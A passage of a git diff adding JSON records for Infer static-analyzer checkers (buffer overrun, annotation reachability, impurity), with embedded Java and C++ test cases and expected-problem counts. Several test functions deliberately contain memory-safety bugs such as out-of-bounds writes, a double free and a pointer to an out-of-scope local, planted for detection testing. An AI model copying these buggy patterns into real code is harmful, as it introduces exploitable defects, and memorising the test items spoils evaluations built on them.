x.add(0);\n x.add(0);\n x.add(0);\n x.add(0);\n this.iterate_collection_Bad(x);\n }\n\n boolean b;\n\n int zero_to_five() {\n return b ? 0 : 5;\n }\n\n void prune_assign_exp_Good() {\n int idx;\n int[] arr = new int[5];\n if ((idx = zero_to_five()) != 5) {\n arr[idx] = 0;\n }\n }\n\n void prune_assign_exp_Bad() {\n int idx;\n int[] arr = new int[3];\n if ((idx = zero_to_five()) != 5) {\n arr[idx] = 0;\n }\n }\n\n enum MyEnum {\n MyEnumA\n };\n\n void array_length_Bad() {\n int[] arr = new int[5];\n if (MyEnum.values().length == 0) {\n arr[10] = 0;\n } else {\n arr[10] = 0;\n }\n }\n}\n" + }, + { + "testname": "ArrayListTest.java", + "testlanguage": "java", + "expected-problems": 64, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass ArrayListTest {\n\n void alloc_is_negative_bad() {\n // initial capacity cannot be negative\n ArrayList x = new ArrayList(-1);\n }\n\n void alloc_is_ok() {\n // initial capacity cannot be negative\n ArrayList x = new ArrayList(9);\n }\n\n void add_in_loop_ok() {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < 5; i++) {\n a.add(0);\n }\n int j = a.get(3);\n }\n\n void add_in_loop_bad() {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < 5; i++) {\n a.add(0);\n }\n int j = a.get(6);\n }\n\n void add_in_loop_by_param_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < b.size(); i++) {\n a.add(0);\n }\n int j = a.get(b.size() - 1);\n }\n\n void add_in_loop_by_param_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < b.size(); i++) {\n a.add(0);\n }\n int j = a.get(b.size() + 1);\n }\n\n boolean unknown_bool;\n\n void add_in_loop_by_param2_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < b.size(); i++) {\n if (unknown_bool) {\n a.add(0);\n }\n } // a.size should be [0, b.size]\n if (a.size() > 0) {\n int j = b.get(a.size() - 1);\n }\n }\n\n void add_in_loop_by_param2_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (int i = 0; i < b.size(); i++) {\n if (unknown_bool) {\n a.add(0);\n }\n } // a.size should be [0, b.size]\n int j = b.get(a.size());\n }\n\n void add_in_loop_by_param3_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n if (b.size() > 0) {\n for (int i = 1; i < b.size(); i++) {\n a.add(0);\n }\n int j = a.get(b.size() - 2);\n }\n }\n\n void add_in_loop_by_param3_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n if (b.size() > 0) {\n for (int i = 1; i < b.size(); i++) {\n a.add(0);\n }\n int j = a.get(b.size() - 1);\n }\n }\n\n void add_in_loop_by_param4_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n a.add(0);\n if (b.size() > 0) {\n for (int i = 1; i < b.size(); i++) {\n a.add(0);\n } // a.size = b.size\n int j = a.get(b.size() - 1);\n }\n }\n\n void add_in_loop_by_param4_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n a.add(0);\n if (b.size() > 0) {\n for (int i = 1; i < b.size(); i++) {\n a.add(0);\n } // a.size = b.size\n int j = a.get(b.size() + 1);\n }\n }\n\n void add_in_loop_iterator_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n a.add(i);\n }\n int j = a.get(b.size() - 1);\n }\n\n void add_in_loop_iterator_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n a.add(i);\n }\n int j = a.get(b.size() + 1);\n }\n\n void remove_in_loop_iterator_good(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n a.add(i);\n }\n for (Integer i : b) {\n a.remove(i);\n }\n /* a.size is analyzed to 0, but it is coincidence. Since it abstracts all members as one\n abstract value (array smashing), it cannot follow the added/removed elements precisely. */\n if (a.size() < 0) {\n int j = b.get(b.size());\n }\n }\n\n void remove_in_loop_iterator_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n a.add(i);\n }\n for (Integer i : b) {\n a.remove(i);\n } // a.size should be 0\n int j = a.get(0);\n }\n\n void add_in_loop_iterator2_ok(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n if (unknown_bool) {\n a.add(i);\n }\n } // a.size should be [0, b.size]\n if (a.size() > 0) {\n int j = b.get(a.size() - 1);\n }\n }\n\n void add_in_loop_iterator2_bad(ArrayList b) {\n ArrayList a = new ArrayList<>();\n for (Integer i : b) {\n if (unknown_bool) {\n a.add(i);\n }\n } // a.size should be [0, b.size]\n int j = b.get(a.size());\n }\n\n void add_and_remove_ok(ArrayList a) {\n ArrayList b = new ArrayList();\n b.add(0);\n for (Integer i : a) {\n b.add(0);\n b.remove(0);\n } // b.size is one here\n int j = b.get(0);\n }\n\n void add_and_remove_bad(ArrayList a) {\n ArrayList b = new ArrayList();\n for (Integer i : a) {\n b.add(0);\n b.remove(0);\n } // b.size is zero here\n int j = b.get(0);\n }\n\n void multi_adds_in_loop_iterator_ok(ArrayList b) {\n ArrayList a1 = new ArrayList<>();\n ArrayList a2 = new ArrayList<>();\n for (Integer i : b) {\n a1.add(i);\n a2.add(i);\n }\n int j;\n j = a1.get(b.size() - 1);\n j = a2.get(b.size() - 1);\n }\n\n void multi_adds_in_loop_iterator_bad(ArrayList b) {\n ArrayList a1 = new ArrayList<>();\n ArrayList a2 = new ArrayList<>();\n for (Integer i : b) {\n a1.add(i);\n a2.add(i);\n }\n int j;\n j = a1.get(b.size() + 1);\n j = a2.get(b.size() + 1);\n }\n\n void alias_join_bad() {\n int i;\n ArrayList a = new ArrayList<>();\n ArrayList b = new ArrayList<>();\n if (unknown_bool) {\n a.add(0);\n i = 0; // i = size of b\n } else {\n b.add(0);\n b.add(0);\n i = 0; // i = size of a\n }\n if (i == 0) {\n b.get(0); // size of b should be [0, 2]\n }\n }\n\n interface MyI {\n public ArrayList mk_unknown();\n }\n\n boolean unknown_bool2;\n ArrayList unknown_array_list1;\n ArrayList unknown_array_list2;\n\n void loop_on_unknown_iterator_FN(MyI x, int j) {\n ArrayList a = new ArrayList<>();\n ArrayList b;\n if (unknown_bool) {\n b = a;\n } else {\n b = x.mk_unknown();\n }\n // `b` points to an zero-sized array and `Unknown` pointer. Thus, the size of array list should\n // be evaluated to [0,+oo] in a sound design. However, this would harm overall analysis\n // precision with introducing a lot of FPs. To avoie that, we ignore the size of `Unknown`\n // array list here, instead we get some FNs.\n for (Integer i : b) {\n // Since size of `b` is evaluted to [0,0], here is unreachable.\n if (a.size() <= -1) {\n int[] c = new int[5];\n c[5] = 0;\n } else {\n int[] c = new int[10];\n c[10] = 0;\n }\n }\n }\n}\n" + }, + { + "testname": "ArrayMember.java", + "testlanguage": "java", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.bufferoverrun;\n\npublic class ArrayMember {\n public int[] buf;\n\n public void load_array_member_Good() {\n int[] a = new int[10];\n int x = buf[0];\n if (x == 9) {\n a[x] = 0;\n }\n }\n\n public void load_array_member_Bad() {\n int[] a = new int[10];\n int x = buf[0];\n if (x == 10) {\n a[x] = 0;\n }\n }\n}\n" + }, + { + "testname": "CompressedData.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.bufferoverrun;\n\n/* Mimics https://fburl.com/f61h6rbl */\nclass CompressedData {\n class C {\n public static final int CCI = 4;\n }\n\n class DI {\n int s;\n }\n\n class D {\n final DI[] cci = new DI[C.CCI];\n int cis;\n }\n\n int yy;\n\n int decompressData(D d) {\n int output = 0;\n DI di;\n final int cis = d.cis;\n\n for (int y = 0; y < yy; ++y) {\n for (int ci = 0; ci < cis; ++ci) {\n di = d.cci[ci];\n final int s = di.s;\n output = y * s;\n }\n }\n return output;\n }\n}\n" + }, + { + "testname": "External.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport external.library.SomeExternalClass;\n\npublic class External {\n /* This function should raise deduplicated issues because the symbolic value of external method\n * should be instantiated to top. */\n void external_function_Bad(SomeExternalClass v) {\n int i = (int) (v.externalMethod1()) + 1 + (int) (v.externalMethod1()) + 1;\n }\n\n /* This function should have no proof obilgation. */\n void call_external_function_Good(SomeExternalClass v) {\n external_function_Bad(v);\n }\n}\n" + }, + { + "testname": "InheritanceTest.java", + "testlanguage": "java", + "expected-problems": 29, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass InheritanceTest {\n interface MyInterface {\n public int foo();\n }\n\n class UniqueImpl implements MyInterface {\n public int foo() {\n return 5;\n }\n }\n\n public void call_interface_method_Good_FP(MyInterface x) {\n int a[] = new int[10];\n a[x.foo()] = 0;\n }\n\n public void call_interface_method_Bad(MyInterface x) {\n int a[] = new int[5];\n a[x.foo()] = 0;\n }\n\n interface MyInterface2 {\n public int foo();\n }\n\n abstract class AbsImpl implements MyInterface2 {\n public abstract int foo();\n }\n\n class Impl1 extends AbsImpl {\n @Override\n public int foo() {\n return 10;\n }\n }\n\n class Impl2 extends AbsImpl {\n @Override\n public int foo() {\n return 5;\n }\n }\n\n /* By heuristics, [Impl1.foo] is selected. It is hard to say good or bad. */\n public void call_interface_method2(MyInterface2 x) {\n int a[] = new int[10];\n a[x.foo()] = 0;\n }\n}\n" + }, + { + "testname": "StringTest.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass StringTest {\n void constant_Good() {\n String s = \"hello\";\n char c = s.charAt(4);\n }\n\n void constant_Bad() {\n String s = \"hello\";\n char c = s.charAt(5);\n }\n\n void constant_explicit_constructor_Good() {\n String s = new String(\"hello\");\n char c = s.charAt(4);\n }\n\n void constant_explicit_constructor_Bad() {\n String s = new String(\"hello\");\n char c = s.charAt(5);\n }\n\n void copy_constructor_Good() {\n String s = new String(\"hello\");\n String t = new String(s);\n char c = t.charAt(4);\n }\n\n void copy_constructor_Bad() {\n String s = new String(\"hello\");\n String t = new String(s);\n char c = t.charAt(5);\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json new file mode 100644 index 0000000..cf36e79 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json @@ -0,0 +1,17 @@ +{ + "name": "AnnotationReachability", + "language": [ + "clang", + "java", + "erlang" + ], + "description": "Given pairs of source and sink annotations, e.g. `@A` and `@B`, this checker will warn \\\n whenever some method annotated with `@A` calls, directly or indirectly, another method \\\n annotated with `@B`. Besides the custom pairs, it is also possible to enable some \\\n built-in checks, such as `@PerformanceCritical` reaching `@Expensive` or \\\n `@NoAllocation` reaching `new`. It is also possible to model methods as if they were \\\n annotated, using regular expressions. This should also work in languages where there \\\n are no annotations. See flags starting with `--annotation-reachability`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 510, + "branches": 66, + "apis": 102, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json new file mode 100644 index 0000000..6c0d6fa --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json @@ -0,0 +1,15 @@ +{ + "name": "DisjunctiveDemo", + "language": [ + "clang" + ], + "description": "Demo of the disjunctive domain, used for testing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 77, + "branches": 4, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json new file mode 100644 index 0000000..3b4d156 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json @@ -0,0 +1,96 @@ +{ + "name": "Impurity", + "language": [ + "clang", + "java", + "hack" + ], + "description": "Detects functions with potential side-effects. Same as \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 244, + "branches": 25, + "apis": 39, + "test": [ + { + "testname": "array_test.cpp", + "testlanguage": "c++", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n// modifies a & b\nvoid array_mod_impure(int a[10], int b[10], int c) {\n a[0] = c;\n b[0] = c;\n}\n\n// modifies a twice\nvoid array_mod_both_impure(int a[10], int b) {\n a[0] = b;\n a[1] = 0;\n}\n\n// modifies a\nvoid call_array_mod_impure(int a[10]) {\n int b[10];\n array_mod_impure(a, b, 9);\n}\n\nvoid call_array_mod_with_fresh_pure() {\n int a[10];\n array_mod_impure(a, a, 0);\n}\nvoid call_array_mod_with_both_fresh_pure() {\n int a[10];\n int b[10];\n array_mod_impure(a, b, 0);\n}\n\n// modifies array\nvoid alias_mod_impure(int array[], int i, int j) {\n int* a = array;\n a[j] = i;\n}\n\nstruct Foo {\n int x;\n};\n\nvoid modify_direct_impure(Foo array[10], int i, Foo foo) { array[i].x = foo.x; }\n\nvoid modify_ptr_impure(Foo array[10], Foo foo) {\n Foo* tmp = array;\n tmp->x = foo.x;\n}\n\nvoid call_impure_with_fresh_pure() {\n struct Foo f1 = {1};\n struct Foo f2 = {2};\n struct Foo f3 = {3};\n Foo array[2] = {f1, f2};\n modify_direct_impure(array, 0, f3);\n modify_ptr_impure(array, f3);\n}\n\n// Note: Unlike C++, in Java, this is gonna be impure because\n// everything is passed by reference in Java\nint modify_by_copy_pure(Foo array[1], int i, Foo foo) {\n Foo tmp = array[i];\n tmp.x = foo.x;\n return tmp.x;\n}\n" + }, + { + "testname": "exit_test.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint x;\n\nvoid exit_positive_impure(int a[10], int b) {\n if (b > 0) {\n exit(0);\n }\n}\n\nvoid unreachable_impure(int a[10]) {\n exit_positive_impure(a, 10);\n x = 9; // unreachable\n}\n" + }, + { + "testname": "global_test.cpp", + "testlanguage": "c++", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstatic int x;\nint a[3];\n\nvoid modify_global_primitive_impure() { x = 10; }\n\nvoid modify_global_array_impure() { a[0] = 0; }\n\nvoid call_modify_global() {\n modify_global_primitive_impure();\n modify_global_array_impure();\n}\n\n// modifies local static arr\nint* local_static_var_impure() {\n\n // Lifetime of a static variable is throughout the program.\n static int arr[100];\n\n /* Some operations on arr[] */\n arr[0] = 10;\n arr[1] = 20;\n\n return arr;\n}\n\nvoid modify_global_inside_lamda_impure() {\n auto lam = [&]() { x++; };\n}\n" + }, + { + "testname": "invalid_test.cpp", + "testlanguage": "c++", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \nint* global_pointer;\n\nvoid free_global_pointer_impure() { free(global_pointer); }\n// If Pulse raises an error, consider the function as impure.\nvoid double_free_global_impure() {\n free_global_pointer_impure();\n free_global_pointer_impure();\n}\n\nint free_param_impure(int* x) {\n free(x);\n return 0;\n}\n\nstruct Simple {\n int f;\n};\nvoid delete_param_impure(Simple* s) { delete s; }\n\nvoid local_deleted_pure() {\n auto* s = new Simple{1};\n delete s;\n}\n\nSimple* reassign_pure(Simple* s) {\n s = new Simple{2};\n return s;\n}\n\nSimple* reassign_impure(Simple* s) {\n *s = Simple{2};\n return s;\n}\n\nvoid swap_impure(Simple* s1, Simple* s2) {\n Simple temp = *s2;\n *s2 = *s1;\n *s1 = temp;\n}\n\nvoid swap_pure(Simple* s1, Simple* s2) {\n Simple* temp = s2;\n s2 = s1;\n s1 = temp;\n}\n\nvoid swap_address_impure(Simple& lhs, Simple& rhs) {\n Simple temp = rhs;\n rhs = lhs;\n lhs = temp;\n}\n" + }, + { + "testname": "param_test.cpp", + "testlanguage": "c++", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n// modifies x (a mutable reference argument)\nvoid modify_mut_ref_impure(int* x) { ++*x; }\n\nint primitive_pure(int x) { x++; }\n\nint fact_pure(int n) {\n int f = 1;\n while (n > 0)\n f *= n--;\n return f;\n}\n\nstruct node {\n struct node* next;\n int data;\n};\nvoid create_cycle_impure(struct node* x) { x->next = x; }\n\nvoid invalidate_local_impure(int** pp) {\n int t = 0xdeadbeef;\n *pp = &t; // <-- potential bug here since t goes out of scope\n}\n" + }, + { + "testname": "struct_test.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct Foo {\n int x;\n\n bool operator<(const Foo& rhs) const { return x < rhs.x; }\n};\n\nvoid call_lt_pure(Foo& lhs, Foo& rhs) { lhs < rhs; }\n" + }, + { + "testname": "unmodeled.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid output_stream_impure() { std::cout << \"Hello, world!\" << std::endl; }\n\nint random_impure() { std::rand(); }\n" + }, + { + "testname": "vector.cpp", + "testlanguage": "c++", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \nvoid insert_impure(std::vector& vec) { vec.insert(vec.begin(), 2); }\n\nvoid push_back_impure(std::vector& vec) { vec.push_back(32); }\n\nvoid fresh_push_back_pure() {\n std::vector vec = {0, 0};\n push_back_impure(vec);\n}\n\n// modifies vec\nvoid push_back_in_loop_impure(std::vector& vec,\n std::vector& vec_other) {\n for (const auto& i : vec_other) {\n vec.push_back(i);\n }\n}\n\n// modifies vec\nvoid clear_impure(std::vector& vec) { vec.clear(); }\n\n// modifies vec\nvoid assign_impure(std::vector& vec) { vec.assign(11, 7); }\n\nstruct A {\n int i;\n};\n\nint set_zero_impure(std::vector& numbers) {\n for (auto& num : numbers) {\n num.i = 0;\n }\n return 0;\n}\n" + }, + { + "testname": "GlobalTest.java", + "testlanguage": "java", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass GlobalTest {\n public static int s = 0;\n public static Foo foo;\n\n class Foo {\n\n int x = 0;\n // modifies global var 's' hence impure\n void set_impure() {\n s = 10;\n }\n }\n\n void incr(Foo foo, int i) {\n foo.x += i;\n }\n\n // calls foo which modifies global var\n void call_set_impure() {\n Foo f = new Foo();\n f.set_impure();\n }\n\n // foo is global which is modified by incr.\n void global_mod_via_argument_passing_impure(int size, Foo f) {\n for (int i = 0; i < size; i++) {\n incr(foo, i);\n }\n }\n\n // aliased_foo is aliasing a global and then is modified by incr.\n void global_mod_via_argument_passing_impure_aliased(int size, Foo f) {\n Foo aliased_foo = foo; // Inferbo can't recognize aliasing here\n // and assumes aliased_foo is in [-oo,+oo] not in foo\n for (int i = 0; i < size; i++) {\n incr(aliased_foo, i);\n }\n }\n}\n" + }, + { + "testname": "Localities.java", + "testlanguage": "java", + "expected-problems": 61, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\nimport java.util.Iterator;\n\nclass Localities {\n // @pure\n boolean contains_pure(Integer i, ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Integer el = listIterator.next();\n if (i.equals(el)) {\n return true;\n }\n }\n return false;\n }\n\n // @mod:{list}\n void makeAllZero_impure(ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Foo foo = listIterator.next();\n foo.x = 0;\n }\n }\n\n // @mod:{list}\n void incrementAll_impure(ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Foo foo = listIterator.next();\n foo.inc_impure();\n }\n }\n\n // @pure\n void call_impure_with_fresh_args_pure() {\n ArrayList list = new ArrayList();\n makeAllZero_impure(list);\n }\n\n class Bar {\n int p;\n }\n\n class Foo {\n int x;\n Bar bar;\n\n // @mod:{this}\n void inc_impure() {\n x++;\n }\n }\n\n class Counter {\n\n int i = 0;\n // @mod:{this}\n // only modifies fields of its receiver object\n void inc_impure() {\n i++;\n }\n\n // @pure, @loc:{}\n int get_i_pure() {\n return i;\n }\n }\n\n // @pure, @loc:{}\n int length_pure(ArrayList list) {\n Counter c = new Counter();\n for (Integer i : list) {\n c.inc_impure();\n }\n return c.i;\n }\n\n class HasCounter {\n Counter counter = new Counter();\n\n // @loc:{this}\n Counter getCounter_pure() {\n return counter;\n }\n }\n\n // @loc:{}\n public static int[] setFreshArrayEntry_pure(int index, int value) {\n int[] arr = new int[] {1, 2, 3};\n if (index > 0) {\n arr[index % 3] = value;\n }\n return arr;\n }\n\n // @loc: T\n private int newHashCode_impure() {\n return new Object().hashCode();\n }\n\n // @loc:{c}\n HasCounter mkHC_pure(Counter c) {\n HasCounter hc = new HasCounter();\n hc.counter = c;\n return hc;\n }\n\n // @mod:{array}, @loc:{array,f}\n Foo get_f_impure(Foo[] array, int i, Foo f) {\n Foo tmp = array[i];\n tmp.x = f.x;\n return tmp;\n }\n\n // @mod:{array}, @loc:{array,f}\n Foo[] get_array_impure(Foo[] array, int i, Foo f) {\n Foo tmp = array[i];\n tmp.x = f.x;\n return array;\n }\n\n // @mod:{array}, @loc:{p}\n Bar get_foo_via_tmp_impure(Foo[] array, int i, Foo f, Foo p) {\n Foo tmp = array[i];\n tmp.bar = f.bar;\n Foo tmp2 = tmp;\n tmp2.bar = p.bar;\n return tmp.bar;\n }\n\n // @pure, @loc:{}\n boolean copy_ref_pure(int[] a, int b) {\n int[] local = a; // copy reference\n a = new int[1]; // a becomes fresh\n a[0] = local[0]; // not modification\n return true;\n }\n\n // @mod:{a}, @loc:{}\n boolean copy_ref_impure(int[] a, int b) {\n int[] local = a; // copy reference\n a = new int[1]; // overwrite reference\n a[0] = local[0]; // not modification\n local[0] = b; // modify arg a\n b = a[0]; // not modification\n return true;\n }\n\n void swap_pure(Object s1, Object s2) {\n Object temp = s2;\n s2 = s1;\n s1 = temp;\n }\n\n // @mod:{list}\n void modify_first_el_impure(ArrayList list) {\n Foo first = list.get(0);\n first.x = 0;\n }\n\n Foo get_first_pure(ArrayList list) {\n return list.get(0);\n }\n\n // @mod:{list}\n void modify_via_call_impure(ArrayList list) {\n Foo first = get_first_pure(list);\n first.inc_impure();\n }\n\n public static boolean is_null_pure(Byte a) {\n return a == null;\n }\n\n public static boolean call_is_null_pure(Byte a) {\n return is_null_pure(a);\n }\n\n private static final int MAX_SIZE = 2;\n\n private static final int[][][] pool = new int[3][2][];\n\n static int[] get_impure(int size) {\n if (size > MAX_SIZE) {\n return new int[size];\n }\n int[][] arrays = pool[size];\n if (arrays[1] != null) {\n int[] a = arrays[1];\n arrays[1] = null;\n return a;\n } else {\n return new int[size];\n }\n }\n}\n" + }, + { + "testname": "PurityModeled.java", + "testlanguage": "java", + "expected-problems": 52, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.io.*;\nimport java.util.ArrayList;\nimport java.util.Enumeration;\nimport java.util.Iterator;\nimport java.util.Queue;\n\nclass PurityModeled {\n\n double math_random_impure() {\n return Math.random();\n }\n\n double math_random_infeasible_pure(int x) {\n if (x > 1 && x < 2) {\n return Math.random(); // this path will never be taken\n }\n return 0;\n }\n\n void arraycopy_pure(int[] src) {\n int[] dst = {5, 10, 20, 30, 40, 50};\n // copies an array from the specified source array\n System.arraycopy(src, 0, dst, 0, 1);\n }\n\n public void array_length_loop_pure(Integer[] array) {\n for (int i = 0; i < array.length; i++) {}\n }\n\n void FN_write_impure() {\n byte[] temp = new byte[4];\n System.out.write(temp, 0, 4);\n }\n\n void FN_call_write_impure() {\n FN_write_impure();\n }\n\n int math_random_in_loop_impure(int x) {\n int p = 0;\n for (int i = 0; i < x; i++) {\n p += Math.random();\n FN_call_write_impure();\n }\n\n return p;\n }\n\n void list_size_pure(ArrayList list) {\n for (int i = 0; i < list.size(); i++) {}\n }\n\n void list_add_impure(ArrayList list) {\n list.add(\"a\");\n }\n\n void list_addall_impure(ArrayList list1, ArrayList list2) {\n list1.addAll(list2);\n }\n\n void enum_loop_pure(Enumeration e) {\n\n for (; e.hasMoreElements(); ) {\n Object o = e.nextElement();\n }\n }\n\n void remove_impure(Iterator i) {\n while (i.hasNext()) {\n if (i.next().equals(\"Orange\")) {\n i.remove();\n break;\n }\n }\n }\n\n void list_set_impure(ArrayList list) {\n list.set(0, \"e\");\n }\n\n void call_set_impure(ArrayList list) {\n list_set_impure(list);\n list_set_impure(list);\n }\n\n // Pulse can only widen a fixed number of times, hence it thinks\n // that the exit of the loop never reaches and results in empty\n // post.\n void timing_call_in_loop_impure() {\n for (int i = 0; i < 10; i++) {\n System.nanoTime();\n }\n }\n\n // Pulse can only widen a fixed number of times, hence it thinks\n // that the exit of the loop never reaches and results in empty\n // post which is considered to be impure.\n void constant_loop_pure_FP() {\n for (int i = 0; i < 10; i++) {}\n }\n\n // Since n is symbolic, pruning doesn't result in infeasible path,\n // but we assume that the parameter [n] must be 3 due to constant(4)\n // \"widening\" in pulse.\n void timing_call_in_loop_symb_impure(int n) {\n for (int i = 0; i < n; i++) {\n System.nanoTime();\n }\n }\n\n // Due to getting the wrong summary for the callee (a=3), Pulse ends\n // up thinking that the parameter [a] must be 3 in the loop. Hence, as\n // a result of pruning, exit node becomes infeasible and we get\n // empty summary which is considered to be impure.\n void call_timing_symb_impure(int a) {\n for (int i = 0; i < a; i++) {\n timing_call_in_loop_symb_impure(a);\n }\n }\n\n // The relation between the parameter and the argument to the callee\n // is broken. Although, the final pulse summary for this function is\n // still wrong.\n void call_timing_symb_unrelated_impure(int a, int b) {\n for (int i = 0; i < a; i++) {\n timing_call_in_loop_symb_impure(b);\n }\n }\n\n enum Color {\n RED,\n GREEN,\n BLUE; // values() calls clone\n }\n\n public void enum_iter_pure() {\n for (Color c : Color.values()) {}\n }\n\n @SuppressWarnings(\"unchecked\")\n void clone_pure(ArrayList list) {\n ArrayList cloned = (ArrayList) list.clone();\n cloned.add(\"\"); // no change the list\n }\n\n String replace_impure(String s) {\n return s.replace('a', 'f');\n }\n\n void process_queue_impure(ArrayList list, Queue queue) {\n for (Integer el : list) {\n queue.add(el);\n }\n }\n\n String add_impure(ArrayList list) {\n Integer el = list.get(0);\n list.add(4);\n return el.toString();\n }\n\n void append_impure(StringBuilder strBuilder) {\n strBuilder.append(\"JavaGuru\");\n }\n\n void append_pure() {\n StringBuilder strBuilder = new StringBuilder(\"Core\");\n strBuilder.append(\"JavaGuru\");\n }\n\n Integer next_impure(Iterator it) {\n return it.next();\n }\n\n String remove_iterator_impure(Iterator listIterator) {\n Integer f = listIterator.next();\n listIterator.remove();\n return f.toString();\n }\n\n String remove_fresh_impure(ArrayList list) {\n Iterator listIterator = list.iterator();\n Integer f = listIterator.next();\n listIterator.remove();\n return f.toString();\n }\n\n void remove_impure_mult(ArrayList list) {\n String s1 = remove_fresh_impure(list);\n String s2 = remove_fresh_impure(list);\n }\n\n public static void remove_all_impure(ArrayList list) {\n for (Iterator iter = list.iterator(); iter.hasNext(); ) {\n Integer entry = iter.next();\n iter.remove();\n System.out.println(entry.toString());\n }\n }\n\n void nested_remove_impure(ArrayList> list) {\n Iterator> listIterator = list.iterator();\n while (listIterator.hasNext()) {\n ArrayList inner_list = listIterator.next();\n Iterator innerListIterator = inner_list.iterator();\n while (innerListIterator.hasNext()) {\n Integer el = innerListIterator.next();\n innerListIterator.remove();\n }\n }\n }\n\n void remove_all_directly_impure(ArrayList list) {\n for (Integer el : list) {\n list.remove(el); // bad, must remove via iterator.\n }\n }\n\n public static final String toString_delete_pure(Object args) {\n StringBuilder builder = new StringBuilder(32).append('{');\n if (args != null) {\n if (builder.charAt(builder.length() - 2) == ',') 